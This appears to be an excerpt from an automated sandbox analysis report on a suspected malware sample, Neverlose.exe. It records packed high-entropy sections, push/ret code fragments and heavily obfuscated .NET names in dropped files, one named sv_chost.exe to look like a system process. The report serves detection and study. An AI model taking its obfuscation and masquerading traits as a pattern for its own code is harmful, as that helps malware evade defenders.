Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01010494 push 010104C0h; ret	0_2_010104B8
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_010104F8 push 0101052Ch; ret	0_2_01010524
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01010738 push 0101085Ch; ret	0_2_01010854
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_010186DA push 0101874Bh; ret	0_2_01018743
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0100E968 push 0100E994h; ret	0_2_0100E98C
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_01020804 push 01020830h; ret	0_2_01020828
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0101885E push 0101888Ch; ret	0_2_01018884
Source: C:\Users\user\Desktop\Neverlose.exe	Code function: 0_2_0100E8AA push 0100E8D8h; ret	0_2_0100E8D0

Source: Neverlose.exe	Static PE information: section name: entropy: 7.99709234138958
Source: Neverlose.exe	Static PE information: section name: entropy: 7.501912508388803
Source: Neverlose.exe	Static PE information: section name: .data entropy: 7.984098571143187

Source: Solara.exe.0.dr, WUHrLuAzG76gjb420QL2petRr.cs	High entropy of concatenated method names: 'OowvofSDDc4ET7y3kHStsFVYQ', 'wUT7yhbH8yrBs28ptpZ7paLIi', 'cPuCSHrIUyinXAQpEZE4qi2uf', 'wK6BrlTVvp0PIWOzWT7N6I5TtuMEcl8kh1S', 'XWB6EcNQHnQNbT6OCzzqiip7Z8eX9YYcxFD', 'f6SWfPTavhpioocdQbXsEVHxfgQYt0NEdjz', 'IQI51zSt6w3RX352czL0GqqRyiaZ9beRTLi', '_3FSsJ68XU4xFa7TqCN2LmOvwIIiRusfNaOS', 'QqejOadNHaBM70sYr2ndJwSFJGC1Z7a4dQT', 'oqq09uWShpD1v0on0o646ceHuX2dnyKbdUZ'
Source: Solara.exe.0.dr, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	High entropy of concatenated method names: 'LBGv7RRFPn4976IF9aRFE4vMEUNxsaQ0bX1DWEDJaOUZKCUQuWk1RO2ylGq3', 'udpRpvGmAz57Y2O8rM75yPIs91RxBCk8Xb9GN7Bckx9ELsEaHfKb3FLeNqp7', 'xMaI0a85HjyijYhMhP0ctM9y6tQCq4UIJ6di5ajAt5xvLPbPAQwvBotBhSop', 'xOJfSVuUewM3wv7I67tAmY6qiJFhyVFqymavk4CN7cADRf5ACje5q4FkW0pM'
Source: Solara.exe.0.dr, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'kEIRhyaOG6W7qjuLq4LO1JMrwQMvzpv7aBvNkd2N7gYLrFxgYV4vfwY0DOCeqwXfuqAuMzOeDGC', 'QENxfIInhQRjLWxrm4RQ6lFWuMNo006mvnz2mewQA1IgthDBYwBqq9YW2tSMJ8L7haMhmVC0L5h', 'Q8M1YYpFKjomgnimRPqiovTyJncNoDj8xmyzwwel1aPdHCj98KvrRLayALB0', '_7r3jC0HfqMCJNMMkhzZTNQVzUYF77xCqgzGXb6oSvai9OMItNLBCLe5pW7kN'
Source: Solara.exe.0.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	High entropy of concatenated method names: '_3WkO9CHX5n3O0pGvwGK2GYYE1', 'MhM84cAcUC1tmKCDH3sJ7JSLJ', 'fJQ171sCTcNYAMsRUZImHvsJb', 'UlSZPzIGapH4OdhfOJKxnUCM0', 'C3ZtU5gOVvNrDnOJ4QThnfs74', 'Z7l08qNJCG6GApOyUfYdmhVki', '_0992M3o93AjFJXrFDl7bMy5rd', 'P0o9Na9XjNXWqALcTFWJeAG1V', 'fY5sVZgSamt9kyYZnDwtu45CZ', 'VvWC8Ut8u54FUjU7sAphOV0QN'
Source: Solara.exe.0.dr, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	High entropy of concatenated method names: 'RXrXjEiYvFSIlBcduEeeE8lH9', 'PAxhwEy1krySFSbJSOQcG3gSJ', 'h98aL2t7wod8gzaBng9cdkgtH', '_9U2gA8lwegLGMUrP7KqCkKV8c', 'm4R9ZM4JZ4viyR28mfUhQU3fP', 'A8TvHfc9O4NDr5h6uXJJKzIcY', 'nHGP2MMab7ieetFHPOCzaS0lh', 'JdBvwjbLekFt843r0HegBknfw', 'mbqZYrm30q4fPFbOLgm25u4QJ', 'Q5OEHHUrArBRxsi9WguVtcyVW'
Source: Solara.exe.0.dr, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	High entropy of concatenated method names: 'GxO3TdFlvoojPQarF5sHZUWQYcUQdoqTpgV2TADkl0NcyK2z7GmcJ1EGd2nRNhSmmoadBkC9YhNvhAemX9Ndm5U88NtOFEwITP', '_8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu', 'gSvqT2UygyJ8SEjhMz7WS7m4GviFjA1XZYwOVOHhvBzrbxP7uVxVztEo7dBbVRiXjBb14k7OcyjNH3V1GWNZoyFALczGvFNfWh', 'lygg1I8X9Vr3DNzZlHUWuu4Y6PRhc9lVV7knYyo2zmgOU4xvgj9MJceVz6xWblv3I4g5EbMYpmEsQofqmkXunWyryhatai6Fdv', 'YCoF4EvPrPjHQZ0HflYeaTjEsgqlACwC0h38tj5QaCfIhEklMWUvJq0IS5nOUnscQc0fKGXHPoc8h1DBGRTiTECaza65ubAEDJ', 'wRC9iO4UNSzzIHVnbM5hHNX6arORUdzwaxfB0tvq68IBKllpxL0xh5L0bnmMmbjrgXbl8gDAJwtE5GbFyFqbN0FPO375CsO4EM', 'qG32MDQ12K0GRA77JkqYtxX7Wf6hJdixIDbhktqaarUafj0WT04RKQX5XPRiRXtWFcktaSI0QJGQ322mYhJkaLC1eMgyMk5jHM', 'dPRlkea35Qb0tgllFMwACj1BznSFtzDtR56UqoK9JDthAljsFZnwkO79aDMsHR69xEGY6XKNJgXE08sC7SoWgn2zgNzVgwRTh9', 'Vbpv1QaisRwG8kMSJBQbtGSKL9CgA2BqkRlIts0WrpIHBAqa0w9zke4GGpMuPwYlS3JcO39JftJABy29gXidcex6SlO5ShynID', 'natV2pBRfwSVKnZRVRxJPMfLHM539iW0KWweYNUAmjvkmFDnnT6vX7QqdIM6rVTaHDMpeksTKcfDkfBUvxPqozyxdZIATHo0es'
Source: Solara.exe.0.dr, P2XOur6bqoe5LxNtDHyiL3aGh.cs	High entropy of concatenated method names: 'aJJJWPOIkTbTkss4Igvj4IkdB', 'R3CY8bj7ZA7ssA0a57qXXqY2zaw4WTCya0YoxYCbdT61szRxWvcYxbbIwW94', 'bqodObM0EtWvsA8UOldQGkJQG81RBNBuXPmGbHCcrEiiNGgTwugTyAVpgTlu', 'mMZZ9OHwXusb2dKkVAQ1jgP0av6JAL2tHls9WWek56WkeUmnDGvug2kQ0uTY', 'L93aRCzIAJy7U8XuS69Rgkgz9zS99KEIiCwZxFUvfymVhwdXkjpwYPeRs0cZ'
Source: Solara.exe.0.dr, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	High entropy of concatenated method names: 'vhyLcb9WwRxTlJ28NuxeWPj0eoKj5cZufOpv2fBjWc44RyALE2I2OQdqaJYlhndX0LbEnkiruOJ2bQvqLyr3ruQEqUvD0c6m7C', 't02xA0JZht1N9iOyAPNGa0fXGh1ru1pr2VC7SlnQtH3f9wDeVo3meILYSyQBPUe3iI4owHK3dhSfPqdqN37iNWZMJ72HGsWfXv', 'c0LqPsDD9vpIvPboJ2p5Vh8iro038VLiShiPHknWmWUdf281xfhpF5O0R1rdB1a3WUgZlStGKEdW9y1dm7erjqRg6Vdm1uXAOO', 'JUqhuH2arwD8n31kiAbg25H76i8zc3Hvg2zJKbIzkdGWcLQJDPsvan1fbFnNj62ZfHJHWKwJB1UJ8nuH6o6aSkuIFkhi3rfLVb', '_45Z3UpAryp7dJR4jHvUasCrIXOby7BdcytU33dsicQQGZkPrxbPW5hxjl4CeJfPOKh9fd8YU5zwfIRsrQEdE0zFUz5ETKJB8BW', 'uGYoX3KpGSaukuhq6MExbq3sp3emPKwCGpsHl8eT1Rjnn3jfdDFnx7fVXR7w', 'v6aaD0eafsx1Lm9zTRXenuXlPSOHP0BbmYHbUtxy1n8cs92X0VMVZ1CGgbft', 'BBMDmVpkEAPx6KlniT6v1pY597rRrIgbFPQ5DabpusmxSfzNuDhrCru5hViv', 'ozDyrJ7c8KthqWAA2IjogXVpWuVYBITckeTOIGZ25Je38Wvi28wQsSR04zZz', 'YsSKpaSercYU0RD2KNsU9fN7DsqpnqImXkxiT6K21QVFBaNcCft5zM5qKTta'
Source: Solara.exe.0.dr, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	High entropy of concatenated method names: 'PAzJ2Vuz2610vI1WuG7NojUv2f66IGmfr3y7CIyzNVWTOmPLeJ0i1ZVt373gl2wjwTxjgFJRBRazzKwe7lJXrgu2hVeXBxtHhg', 'hIVubgYXHBzKvBDW0ilVwVIt1Vvs0H2aeGoqzLiMzjW5neC3LgPbhLVA76XswcKn7mJLmiAEXvIokptm0Ek9Ufiq9WzUtxGFaU', 'hAe4tkQP421eNr7Zc4MeougE41ZHAsl1ljhPHDgAIocDCXl7fF6GE3vOH12dOwlsJ9qhNeACsGU8qgAjfZjpfFeTltZmprhlHk', 'Bf8uaoyAmqUuabzA1M9c19yH1J2QckpWPPZ3MrTre2cHTMS1q73va5tmvsBLDZfzOmDYx8xxcndB3tbuzRtKUmVUiD1F1gQI7C', 'VwkVlWGISswZyeOkrSiHbu9jO17cxX9l3shzwvLRAHAzrqhKrB3Y8smKrcGyS4OeR0jHaUGOIwVp8GGlMWTxvqPckiEPj4MTDJ', '_7EG628END1shnUJVHgqToJjFeefrJgkPKk3lcLTZ8viUSYF8f5eFRwC70J8i9C50by3SmQonZLbNaWDPu21o8eVV829cgeoZvh', 'DAPRzYyW2xpLAKpXBLhoVztCUq7U0k4YkvkQzm5jumXywN8ckqgVsNoH8eN98JHCQNcIE67Bprcd0v3lhyd1B4hypI8gZ40nPg', 'GtofFdJ4qCtavXAGBjCunL2YwMO3rMk8OpyqgJJO8BRwD9hLP5nkWO3TkBcpSSp0oKRH4HAY5wJF04QOylCX26oqBm9Z9qfAuQ', 'QaWNagj6M4ABQakOS6OTPHDPDHY4cmTHkTTUsuzR00UI8ZN7q6d6UOgSbaBPordllN3DEMmSOtXXTnWOpE1ixPril51cpmyfGe', 'Y7slcQu3AJ0VF6BzAsMpAMAhDbYkKbt2eSIANY2JBkcGEMtNFPmmlTfBetZ0E919JifefOp9Rq06xhPqH225keFAlsVMrfDijg'
Source: Solara.exe.0.dr, E8phRKCKw5AfpQsOlZWL2sYGK.cs	High entropy of concatenated method names: 'woNNvbBHYYayGYkYBOl894t8i', '_3s5PwmBfKfiBCNOBQXr0grICf4uPFzQHgqdzkNyJBjrIBUyGowcEc52SRFc2zzv4zcjKlakgQDICleDyrlrOhYZs0Jdi4', 'LSyWMQAAazaffZiZKajqA1c9rwn5yD9bDrDB8PR1H2yF5HG4F19i1ZNieIEf90ddo6SEUBQAwvknoODglzpPnX6Z9SSES', 'F3aZ3ypQuDq48GzTIxVHe8vxnCLJ8vBqTPQDQygY1wjSeZlTLh3Oh9qS6YwnliV08FqlfIXvcpqXSrV1npLppBO7g4X2x', '_0WmFIssJVQqfaVIKIPw5SIJKWfhVdrSCNmeCyu7PcrBNHimyjP0ENQZyqeXcn7tgmq2RD0QZOmYwdmyCYH7eKMOV5ILUg'
Source: Solara.exe.0.dr, 0RhgANw5PGWmGKZ15e5NJiNQS.cs	High entropy of concatenated method names: 'rYVj5gN0TIrof0Ma56WAroWQX', '_3pY46X5nz8CyVBKd1fbfZimFh', 'B2sZNRjBHELj1BmXrJVBlwNh7', 'qJ5EUBuUhc6rQE3MB3cSPjITV', '_8YmVh1FhqE6WBC39aVR1v8sUmJmjJ3oR5kLT3uoZFvTCxKVOX3S4L6rw8iGqkMrheFxdYCWh8SC4Ri8qgV2NlkrWTWHmY', 'WJ9Ilb8WZtm4dcpxmii76VNMgm0VSFxEfym5TAyNrulmyZGN6UHNN5tdhhVJPj0KY53lSQBTzlJEQgCrAeXxXR0sD8tvI', 'bPY3VKC7hCUncfFuSChDTAo6zUo7JtfRfk5JUmQEJYxLSHU0HdS3MDBy6oOXGdIb6mLW47lYGYBlutT24KGw3pgrTe5V8', 'bUzlZdvTPOO0W5unfSl8GVKgBoAl9e6vBv0j57lKM4Hy84L9Am5u1ovnbJrhzZJHffqeikF1JOD00uCYZUr0CRKRrT3Hs', 'syRWe5KmsTdoPh058MzXXhs8Q2bSKwiAjaibQmmTaqM4CvqiOx2ZSJwmU55NyeFrXBprlOwsmsErXlfabM43VtzPOcogG', 'E7PHFRwMBYzt2AJjaqXkACO1EaoJ5H15wT25EfsEZawy84TyYDjrvHPvR3Uj6DKCcFwA4fEp1g0K4hpznNlKtUGIqOegp'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, WUHrLuAzG76gjb420QL2petRr.cs	High entropy of concatenated method names: 'OowvofSDDc4ET7y3kHStsFVYQ', 'wUT7yhbH8yrBs28ptpZ7paLIi', 'cPuCSHrIUyinXAQpEZE4qi2uf', 'wK6BrlTVvp0PIWOzWT7N6I5TtuMEcl8kh1S', 'XWB6EcNQHnQNbT6OCzzqiip7Z8eX9YYcxFD', 'f6SWfPTavhpioocdQbXsEVHxfgQYt0NEdjz', 'IQI51zSt6w3RX352czL0GqqRyiaZ9beRTLi', '_3FSsJ68XU4xFa7TqCN2LmOvwIIiRusfNaOS', 'QqejOadNHaBM70sYr2ndJwSFJGC1Z7a4dQT', 'oqq09uWShpD1v0on0o646ceHuX2dnyKbdUZ'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	High entropy of concatenated method names: 'LBGv7RRFPn4976IF9aRFE4vMEUNxsaQ0bX1DWEDJaOUZKCUQuWk1RO2ylGq3', 'udpRpvGmAz57Y2O8rM75yPIs91RxBCk8Xb9GN7Bckx9ELsEaHfKb3FLeNqp7', 'xMaI0a85HjyijYhMhP0ctM9y6tQCq4UIJ6di5ajAt5xvLPbPAQwvBotBhSop', 'xOJfSVuUewM3wv7I67tAmY6qiJFhyVFqymavk4CN7cADRf5ACje5q4FkW0pM'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'kEIRhyaOG6W7qjuLq4LO1JMrwQMvzpv7aBvNkd2N7gYLrFxgYV4vfwY0DOCeqwXfuqAuMzOeDGC', 'QENxfIInhQRjLWxrm4RQ6lFWuMNo006mvnz2mewQA1IgthDBYwBqq9YW2tSMJ8L7haMhmVC0L5h', 'Q8M1YYpFKjomgnimRPqiovTyJncNoDj8xmyzwwel1aPdHCj98KvrRLayALB0', '_7r3jC0HfqMCJNMMkhzZTNQVzUYF77xCqgzGXb6oSvai9OMItNLBCLe5pW7kN'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	High entropy of concatenated method names: '_3WkO9CHX5n3O0pGvwGK2GYYE1', 'MhM84cAcUC1tmKCDH3sJ7JSLJ', 'fJQ171sCTcNYAMsRUZImHvsJb', 'UlSZPzIGapH4OdhfOJKxnUCM0', 'C3ZtU5gOVvNrDnOJ4QThnfs74', 'Z7l08qNJCG6GApOyUfYdmhVki', '_0992M3o93AjFJXrFDl7bMy5rd', 'P0o9Na9XjNXWqALcTFWJeAG1V', 'fY5sVZgSamt9kyYZnDwtu45CZ', 'VvWC8Ut8u54FUjU7sAphOV0QN'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Wj3PjIfqD1OSSp0iwZycbM1aD.cs	High entropy of concatenated method names: 'RXrXjEiYvFSIlBcduEeeE8lH9', 'PAxhwEy1krySFSbJSOQcG3gSJ', 'h98aL2t7wod8gzaBng9cdkgtH', '_9U2gA8lwegLGMUrP7KqCkKV8c', 'm4R9ZM4JZ4viyR28mfUhQU3fP', 'A8TvHfc9O4NDr5h6uXJJKzIcY', 'nHGP2MMab7ieetFHPOCzaS0lh', 'JdBvwjbLekFt843r0HegBknfw', 'mbqZYrm30q4fPFbOLgm25u4QJ', 'Q5OEHHUrArBRxsi9WguVtcyVW'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, Lt0dqqWTBCH6whG4NLnykxcqor0GoQWjCil4LRCzURXZ4A85bVs6pPNrPRFGhJrcWBGLgDUolmJZPY1MXXQqMON8GY62EkGoPO.cs	High entropy of concatenated method names: 'GxO3TdFlvoojPQarF5sHZUWQYcUQdoqTpgV2TADkl0NcyK2z7GmcJ1EGd2nRNhSmmoadBkC9YhNvhAemX9Ndm5U88NtOFEwITP', '_8wGo8NDHX8IchWy5emXSDv58GsBJnMRJrxlvCNrMLX48UbwnmVQfxREEfpw4G2Tuu4auegCyaaryctNC0Q0nLeRkTUs3XboLtu', 'gSvqT2UygyJ8SEjhMz7WS7m4GviFjA1XZYwOVOHhvBzrbxP7uVxVztEo7dBbVRiXjBb14k7OcyjNH3V1GWNZoyFALczGvFNfWh', 'lygg1I8X9Vr3DNzZlHUWuu4Y6PRhc9lVV7knYyo2zmgOU4xvgj9MJceVz6xWblv3I4g5EbMYpmEsQofqmkXunWyryhatai6Fdv', 'YCoF4EvPrPjHQZ0HflYeaTjEsgqlACwC0h38tj5QaCfIhEklMWUvJq0IS5nOUnscQc0fKGXHPoc8h1DBGRTiTECaza65ubAEDJ', 'wRC9iO4UNSzzIHVnbM5hHNX6arORUdzwaxfB0tvq68IBKllpxL0xh5L0bnmMmbjrgXbl8gDAJwtE5GbFyFqbN0FPO375CsO4EM', 'qG32MDQ12K0GRA77JkqYtxX7Wf6hJdixIDbhktqaarUafj0WT04RKQX5XPRiRXtWFcktaSI0QJGQ322mYhJkaLC1eMgyMk5jHM', 'dPRlkea35Qb0tgllFMwACj1BznSFtzDtR56UqoK9JDthAljsFZnwkO79aDMsHR69xEGY6XKNJgXE08sC7SoWgn2zgNzVgwRTh9', 'Vbpv1QaisRwG8kMSJBQbtGSKL9CgA2BqkRlIts0WrpIHBAqa0w9zke4GGpMuPwYlS3JcO39JftJABy29gXidcex6SlO5ShynID', 'natV2pBRfwSVKnZRVRxJPMfLHM539iW0KWweYNUAmjvkmFDnnT6vX7QqdIM6rVTaHDMpeksTKcfDkfBUvxPqozyxdZIATHo0es'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, P2XOur6bqoe5LxNtDHyiL3aGh.cs	High entropy of concatenated method names: 'aJJJWPOIkTbTkss4Igvj4IkdB', 'R3CY8bj7ZA7ssA0a57qXXqY2zaw4WTCya0YoxYCbdT61szRxWvcYxbbIwW94', 'bqodObM0EtWvsA8UOldQGkJQG81RBNBuXPmGbHCcrEiiNGgTwugTyAVpgTlu', 'mMZZ9OHwXusb2dKkVAQ1jgP0av6JAL2tHls9WWek56WkeUmnDGvug2kQ0uTY', 'L93aRCzIAJy7U8XuS69Rgkgz9zS99KEIiCwZxFUvfymVhwdXkjpwYPeRs0cZ'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, 9anJqYyVCjcrXTuH1GzopYW8wzyY78Cd40FBQZs2D00E8Ibmuz0NNIGaS8nPFW6rEQFzkcsRuNbLEld04TJOzbVcsq03WRbNSG.cs	High entropy of concatenated method names: 'vhyLcb9WwRxTlJ28NuxeWPj0eoKj5cZufOpv2fBjWc44RyALE2I2OQdqaJYlhndX0LbEnkiruOJ2bQvqLyr3ruQEqUvD0c6m7C', 't02xA0JZht1N9iOyAPNGa0fXGh1ru1pr2VC7SlnQtH3f9wDeVo3meILYSyQBPUe3iI4owHK3dhSfPqdqN37iNWZMJ72HGsWfXv', 'c0LqPsDD9vpIvPboJ2p5Vh8iro038VLiShiPHknWmWUdf281xfhpF5O0R1rdB1a3WUgZlStGKEdW9y1dm7erjqRg6Vdm1uXAOO', 'JUqhuH2arwD8n31kiAbg25H76i8zc3Hvg2zJKbIzkdGWcLQJDPsvan1fbFnNj62ZfHJHWKwJB1UJ8nuH6o6aSkuIFkhi3rfLVb', '_45Z3UpAryp7dJR4jHvUasCrIXOby7BdcytU33dsicQQGZkPrxbPW5hxjl4CeJfPOKh9fd8YU5zwfIRsrQEdE0zFUz5ETKJB8BW', 'uGYoX3KpGSaukuhq6MExbq3sp3emPKwCGpsHl8eT1Rjnn3jfdDFnx7fVXR7w', 'v6aaD0eafsx1Lm9zTRXenuXlPSOHP0BbmYHbUtxy1n8cs92X0VMVZ1CGgbft', 'BBMDmVpkEAPx6KlniT6v1pY597rRrIgbFPQ5DabpusmxSfzNuDhrCru5hViv', 'ozDyrJ7c8KthqWAA2IjogXVpWuVYBITckeTOIGZ25Je38Wvi28wQsSR04zZz', 'YsSKpaSercYU0RD2KNsU9fN7DsqpnqImXkxiT6K21QVFBaNcCft5zM5qKTta'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, vQAPrP9GTLqDP2TnxJeVqWDPZUl80OjDPKWiB9VD1kMfb5r21UVMVWfhd592gHEG8uqxz64WQlAbmJteBo6yNqI0GEgj98oDxc.cs	High entropy of concatenated method names: 'PAzJ2Vuz2610vI1WuG7NojUv2f66IGmfr3y7CIyzNVWTOmPLeJ0i1ZVt373gl2wjwTxjgFJRBRazzKwe7lJXrgu2hVeXBxtHhg', 'hIVubgYXHBzKvBDW0ilVwVIt1Vvs0H2aeGoqzLiMzjW5neC3LgPbhLVA76XswcKn7mJLmiAEXvIokptm0Ek9Ufiq9WzUtxGFaU', 'hAe4tkQP421eNr7Zc4MeougE41ZHAsl1ljhPHDgAIocDCXl7fF6GE3vOH12dOwlsJ9qhNeACsGU8qgAjfZjpfFeTltZmprhlHk', 'Bf8uaoyAmqUuabzA1M9c19yH1J2QckpWPPZ3MrTre2cHTMS1q73va5tmvsBLDZfzOmDYx8xxcndB3tbuzRtKUmVUiD1F1gQI7C', 'VwkVlWGISswZyeOkrSiHbu9jO17cxX9l3shzwvLRAHAzrqhKrB3Y8smKrcGyS4OeR0jHaUGOIwVp8GGlMWTxvqPckiEPj4MTDJ', '_7EG628END1shnUJVHgqToJjFeefrJgkPKk3lcLTZ8viUSYF8f5eFRwC70J8i9C50by3SmQonZLbNaWDPu21o8eVV829cgeoZvh', 'DAPRzYyW2xpLAKpXBLhoVztCUq7U0k4YkvkQzm5jumXywN8ckqgVsNoH8eN98JHCQNcIE67Bprcd0v3lhyd1B4hypI8gZ40nPg', 'GtofFdJ4qCtavXAGBjCunL2YwMO3rMk8OpyqgJJO8BRwD9hLP5nkWO3TkBcpSSp0oKRH4HAY5wJF04QOylCX26oqBm9Z9qfAuQ', 'QaWNagj6M4ABQakOS6OTPHDPDHY4cmTHkTTUsuzR00UI8ZN7q6d6UOgSbaBPordllN3DEMmSOtXXTnWOpE1ixPril51cpmyfGe', 'Y7slcQu3AJ0VF6BzAsMpAMAhDbYkKbt2eSIANY2JBkcGEMtNFPmmlTfBetZ0E919JifefOp9Rq06xhPqH225keFAlsVMrfDijg'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, E8phRKCKw5AfpQsOlZWL2sYGK.cs	High entropy of concatenated method names: 'woNNvbBHYYayGYkYBOl894t8i', '_3s5PwmBfKfiBCNOBQXr0grICf4uPFzQHgqdzkNyJBjrIBUyGowcEc52SRFc2zzv4zcjKlakgQDICleDyrlrOhYZs0Jdi4', 'LSyWMQAAazaffZiZKajqA1c9rwn5yD9bDrDB8PR1H2yF5HG4F19i1ZNieIEf90ddo6SEUBQAwvknoODglzpPnX6Z9SSES', 'F3aZ3ypQuDq48GzTIxVHe8vxnCLJ8vBqTPQDQygY1wjSeZlTLh3Oh9qS6YwnliV08FqlfIXvcpqXSrV1npLppBO7g4X2x', '_0WmFIssJVQqfaVIKIPw5SIJKWfhVdrSCNmeCyu7PcrBNHimyjP0ENQZyqeXcn7tgmq2RD0QZOmYwdmyCYH7eKMOV5ILUg'
Source: 0.2.Neverlose.exe.3942eb0.5.raw.unpack, 0RhgANw5PGWmGKZ15e5NJiNQS.cs	High entropy of concatenated method names: 'rYVj5gN0TIrof0Ma56WAroWQX', '_3pY46X5nz8CyVBKd1fbfZimFh', 'B2sZNRjBHELj1BmXrJVBlwNh7', 'qJ5EUBuUhc6rQE3MB3cSPjITV', '_8YmVh1FhqE6WBC39aVR1v8sUmJmjJ3oR5kLT3uoZFvTCxKVOX3S4L6rw8iGqkMrheFxdYCWh8SC4Ri8qgV2NlkrWTWHmY', 'WJ9Ilb8WZtm4dcpxmii76VNMgm0VSFxEfym5TAyNrulmyZGN6UHNN5tdhhVJPj0KY53lSQBTzlJEQgCrAeXxXR0sD8tvI', 'bPY3VKC7hCUncfFuSChDTAo6zUo7JtfRfk5JUmQEJYxLSHU0HdS3MDBy6oOXGdIb6mLW47lYGYBlutT24KGw3pgrTe5V8', 'bUzlZdvTPOO0W5unfSl8GVKgBoAl9e6vBv0j57lKM4Hy84L9Am5u1ovnbJrhzZJHffqeikF1JOD00uCYZUr0CRKRrT3Hs', 'syRWe5KmsTdoPh058MzXXhs8Q2bSKwiAjaibQmmTaqM4CvqiOx2ZSJwmU55NyeFrXBprlOwsmsErXlfabM43VtzPOcogG', 'E7PHFRwMBYzt2AJjaqXkACO1EaoJ5H15wT25EfsEZawy84TyYDjrvHPvR3Uj6DKCcFwA4fEp1g0K4hpznNlKtUGIqOegp'
Source: sv_chost.exe.4.dr, WUHrLuAzG76gjb420QL2petRr.cs	High entropy of concatenated method names: 'OowvofSDDc4ET7y3kHStsFVYQ', 'wUT7yhbH8yrBs28ptpZ7paLIi', 'cPuCSHrIUyinXAQpEZE4qi2uf', 'wK6BrlTVvp0PIWOzWT7N6I5TtuMEcl8kh1S', 'XWB6EcNQHnQNbT6OCzzqiip7Z8eX9YYcxFD', 'f6SWfPTavhpioocdQbXsEVHxfgQYt0NEdjz', 'IQI51zSt6w3RX352czL0GqqRyiaZ9beRTLi', '_3FSsJ68XU4xFa7TqCN2LmOvwIIiRusfNaOS', 'QqejOadNHaBM70sYr2ndJwSFJGC1Z7a4dQT', 'oqq09uWShpD1v0on0o646ceHuX2dnyKbdUZ'
Source: sv_chost.exe.4.dr, FNA2ULLgARIpzwFesiV1v0hEBu7pqRep1y0pIlxqyyWEoOP7nxsGotFsZONtlrl3vjaO6mPqWzZ11Iqi5XCwj5LtgIbCLwaBlN.cs	High entropy of concatenated method names: 'LBGv7RRFPn4976IF9aRFE4vMEUNxsaQ0bX1DWEDJaOUZKCUQuWk1RO2ylGq3', 'udpRpvGmAz57Y2O8rM75yPIs91RxBCk8Xb9GN7Bckx9ELsEaHfKb3FLeNqp7', 'xMaI0a85HjyijYhMhP0ctM9y6tQCq4UIJ6di5ajAt5xvLPbPAQwvBotBhSop', 'xOJfSVuUewM3wv7I67tAmY6qiJFhyVFqymavk4CN7cADRf5ACje5q4FkW0pM'
Source: sv_chost.exe.4.dr, YkmDGDOksHr5qrnsfF4B2F4yTHPN8Jh3v2Y5xPFK1ucmal0ibb0PwQ2xw1gyde4c6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'kEIRhyaOG6W7qjuLq4LO1JMrwQMvzpv7aBvNkd2N7gYLrFxgYV4vfwY0DOCeqwXfuqAuMzOeDGC', 'QENxfIInhQRjLWxrm4RQ6lFWuMNo006mvnz2mewQA1IgthDBYwBqq9YW2tSMJ8L7haMhmVC0L5h', 'Q8M1YYpFKjomgnimRPqiovTyJncNoDj8xmyzwwel1aPdHCj98KvrRLayALB0', '_7r3jC0HfqMCJNMMkhzZTNQVzUYF77xCqgzGXb6oSvai9OMItNLBCLe5pW7kN'
Source: sv_chost.exe.4.dr, rKw0lbvJvj9v9nQmNRYVdkaAc.cs	High entropy of concatenated method names: '_3WkO9CHX5n3O0pGvwGK2GYYE1', 'MhM84cAcUC1tmKCDH3sJ7JSLJ', 'fJQ171sCTcNYAMsRUZImHvsJb', 'UlSZPzIGapH4OdhfOJKxnUCM0', 'C3ZtU5gOVvNrDnOJ4QThnfs74', 'Z7l08qNJCG6GApOyUfYdmhVki', '_0992M3o93AjFJXrFDl7bMy5rd', 'P0o9Na9XjNXWqALcTFWJeAG1V', 'fY5sVZgSamt9kyYZnDwtu45CZ', 'VvWC8Ut8u54FUjU7sAphOV0QN'
